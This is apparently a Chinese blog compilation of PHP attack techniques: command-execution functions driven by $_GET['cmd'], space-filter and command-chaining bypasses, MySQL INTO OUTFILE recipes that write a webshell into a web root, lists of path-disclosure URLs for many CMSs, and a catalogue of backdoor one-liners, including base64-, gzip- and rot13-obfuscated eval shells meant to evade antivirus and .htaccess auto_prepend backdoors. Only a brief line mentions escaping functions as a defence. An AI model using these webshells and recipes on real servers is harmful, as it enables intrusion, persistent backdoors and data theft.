php后台拿shell要知道php的路径,文章下将讲诉爆php路径的方法

前言
近期在学习php的代码审计,推一下这本书啊代码审计 企业级Web代码安全架构_尹毅著。
前篇文章介绍过代码执行了,现在写写命令执行。
命令执行就是执行命令,执行win和Linux的系统命令
php中有好几个可以执行系统命令的函数,我大体分了两类(有返回结果和无返回结果)

返回执行结果
直接传入命令并函数返回执行结果

system($_GET['cmd']);
//直接回显结果打印输出
1
2
echo exec($_GET['cmd']);
//执行参数指定的命令
1
2
passthru($_GET['cmd']);
//执行外部程序并显示原始输出
1
2
echo shell_exec($_GET['cmd']);
//通过shell环境执行命令。并将完整的输出以字符串方式返回
1
2
echo `$_GET['cmd']`;
//反引号也执行命令,原理是调用shell_exec()
1
2
无返回执行结果
不返回执行结果,返回文件指针,但是命令执行了

popen($_GET['cmd'],'w');//r,w代表读写
popen('whoami >> D:/2.txt','r');//将信息写入文件
1
2
proc_open($_GET['cmd']);
1
命令执行小技巧
1.在命令执行过程中,我们会遇到空格被删除或者替换的情况
在Win中:用=代替空格

$cmd="type=../1.txt";
system($cmd);
1
2
linux中:用<代替空格

$cmd="cat<../2.txt";
system($cmd);
1
2
2.在命令执行过程中,我们会进行多条命令执行
在Win中:
连续运算符 &,前面执行正常或者错误,后面都能执行。
&& 前面执行错误,后面就不能执行命令。

$cmd="ipconfig&whoami";
system($cmd);
1
2
在Linux中:
分号; 是连续运算符,连接执行的语句

$cmd="ifconfig;whoami;";
system($cmd);
1
2
防范措施
php有自带的命令防注入函数escapeshellcmd()和escapshellarg()
escapshellcmd()过滤整条命令
escapshellarg()是保证传入命令执行函数里的参数以字符串参数形式存在
注意escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸。

==================================================================

php后台拿shell要知道php的路径,文章下将讲诉爆php路径的方法!!!

方法一:

CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );

INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('');

SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php';

----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php

一句话连接密码:xiaoma

方法二:

 Create TABLE xiaoma (xiaoma1 text NOT NULL);

 Insert INTO xiaoma (xiaoma1) VALUES('');

 select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';

 Drop TABLE IF EXISTS xiaoma;

方法三:

读取文件内容:    select load_file('E:/xamp/www/s.php');

写一句话:select ''INTO OUTFILE 'E:/xamp/www/xiaoma.php'

cmd执行权限:select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

方法四:

 select load_file('E:/xamp/www/xiaoma.php');

 select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

 然后访问网站目录:http://www.xxxx.com/xiaoma.php?cmd=dir

php爆路径方法收集 :

1、单引号爆路径

说明:

直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

www.xxx.com/news.php?id=149′

2、错误参数值爆路径

说明:

将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。

www.xxx.com/researcharchive.php?id=-1

3、Google爆路径

说明:

结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

Site:xxx.edu.tw warning

Site:xxx.com.tw “fatal error”

4、测试文件爆路径

说明:

很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。

www.xxx.com/test.php

www.xxx.com/ceshi.php

www.xxx.com/info.php

www.xxx.com/phpinfo.php

www.xxx.com/php_info.php

www.xxx.com/1.php

5、phpmyadmin爆路径

说明:

一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。

1. /phpmyadmin/libraries/lect_lang.lib.php

2./phpMyAdmin/index.php?lang[]=1

3. /phpMyAdmin/phpinfo.php

4. load_file()

5./phpmyadmin/themes/darkblue_orange/layout.inc.php

6./phpmyadmin/libraries/select_lang.lib.php

7./phpmyadmin/libraries/lect_lang.lib.php

8./phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径

说明:

如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

Windows:

c:\windows\php.ini                                    php配置文件

c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件

Linux:

/etc/php.ini                                           php配置文件

/etc/httpd/conf.d/php.conf

/etc/httpd/conf/httpd.conf                             Apache配置文件

/usr/local/apache/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

7、nginx文件类型错误解析爆路径

说明:

这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

www.xxx.com/top.jpg/x.php

8、其他

dedecms

/member/templets/menulit.php

plus/paycenter/alipay/return_url.php

plus/paycenter/cbpayment/autoreceive.php

paycenter/nps/config_pay_nps.php

plus/task/dede-maketimehtml.php

plus/task/dede-optimize-table.php

plus/task/dede-upcache.php

WP

wp-admin/includes/file.php

wp-content/themes/baiaogu-seo/footer.php

ecshop商城系统暴路径漏洞文件

/api/cron.php

/wap/goods.php

/temp/compiled/ur_here.lbi.php

/temp/compiled/pages.lbi.php

/temp/compiled/user_transaction.dwt.php

/temp/compiled/history.lbi.php

/temp/compiled/page_footer.lbi.php

/temp/compiled/goods.dwt.php

/temp/compiled/user_clips.dwt.php

/temp/compiled/goods_article.lbi.php

/temp/compiled/comments_list.lbi.php

/temp/compiled/recommend_promotion.lbi.php

/temp/compiled/search.dwt.php

/temp/compiled/category_tree.lbi.php

/temp/compiled/user_passport.dwt.php

/temp/compiled/promotion_info.lbi.php

/temp/compiled/user_menu.lbi.php

/temp/compiled/message.dwt.php

/temp/compiled/admin/pagefooter.htm.php

/temp/compiled/admin/page.htm.php

/temp/compiled/admin/start.htm.php

/temp/compiled/admin/goods_search.htm.php

/temp/compiled/admin/index.htm.php

/temp/compiled/admin/order_list.htm.php

/temp/compiled/admin/menu.htm.php

/temp/compiled/admin/login.htm.php

/temp/compiled/admin/message.htm.php

/temp/compiled/admin/goods_list.htm.php

/temp/compiled/admin/pageheader.htm.php

/temp/compiled/admin/top.htm.php

/temp/compiled/top10.lbi.php

/temp/compiled/member_info.lbi.php

/temp/compiled/bought_goods.lbi.php

/temp/compiled/goods_related.lbi.php

/temp/compiled/page_header.lbi.php

/temp/compiled/goods_script.html.php

/temp/compiled/index.dwt.php

/temp/compiled/goods_fittings.lbi.php

/temp/compiled/myship.dwt.php

/temp/compiled/brands.lbi.php

/temp/compiled/help.lbi.php

/temp/compiled/goods_gallery.lbi.php

/temp/compiled/comments.lbi.php

/temp/compiled/myship.lbi.php

/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php

/includes/modules/cron/auto_manage.php

/includes/modules/cron/ipdel.php

ucenter爆路径

ucenter\control\admin\db.php

DZbbs

manyou/admincp.php?my_suffix=%0A%0DTOBY57

z-blog

admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路径

admin/inc/hack/count.php?job=list

admin/inc/hack/search.php?job=getcode

admin/inc/ajax/bencandy.php?job=do

cache/MysqlTime.txt

PHPcms2008-sp4

注册用户登陆后访问

phpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog

PoC:

/go.php/<[evil code]

CMSeasy爆网站路径漏洞

漏洞出现在menu_top.php这个文件中

lib/mods/celive/menu_top.php

/lib/default/ballot_act.php

lib/default/special_act.php
 

===========================================================

php后门木马常用的函数大致上可分为四种类型:

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数

//test.php?cmd=ls

system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls

passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls

echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls

$arr = array();

exec($_GET[cmd],$arr);

print_r($arr);

popen 函数

//test.php?cmd=ls

$handle = popen('$_GET[cmd], 'r');

$read = fread($handle, 2096);

echo $read;

pclose($handle);

proc_open 函数

//test.php?cmd=ls

$descriptorspec = array(

0 => array('pipe', 'r'),

1 => array('pipe', 'w'),

2 => array('pipe', 'w'),

);

$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

fclose($pipes[0]);

$output = array();

while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

print_r($output);

2. 代码执行与加密:

eval 函数

//最常见的一句话木马

eval($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST['cmd']);

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码

//密文: eval($_POST[cmd]);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数

assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert

call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数

//test.php?a=assert&cmd=phpinfo()

$_GET[a]($_REQUEST[cmd]);

3. 文件包含与生成:

require 函数

//包含任意文件

//test.php?file=123.jpg

require($_GET[file]);

require_once 函数

//包含任意文件

//test.php?file=123.jpg

require_once($_GET[file]);

include 函数

//包含任意文件 www.chnhack.com

//test.php?file=123.jpg

include($_GET[file]);

include_once 函数

//包含任意文件

//test.php?file=123.jpg

include_once($_GET[file]);

file_get_contents 函数

//读取任意文件

//test.php?f=config.inc.php

echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件

//a=test.php&b=

file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件

//a=test.php&b=

fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg

//将以下代码写入.htaccess中

//连接x.jpg即可启动后门木马出处www.admin8.us

SetHandler application/x-httpd-php

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif

//将以下代码写入.htaccess中, 文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

php_value auto_append_file c:/apache2/htdocs/123.gif

你可能感兴趣的:(安全测试kali,安全)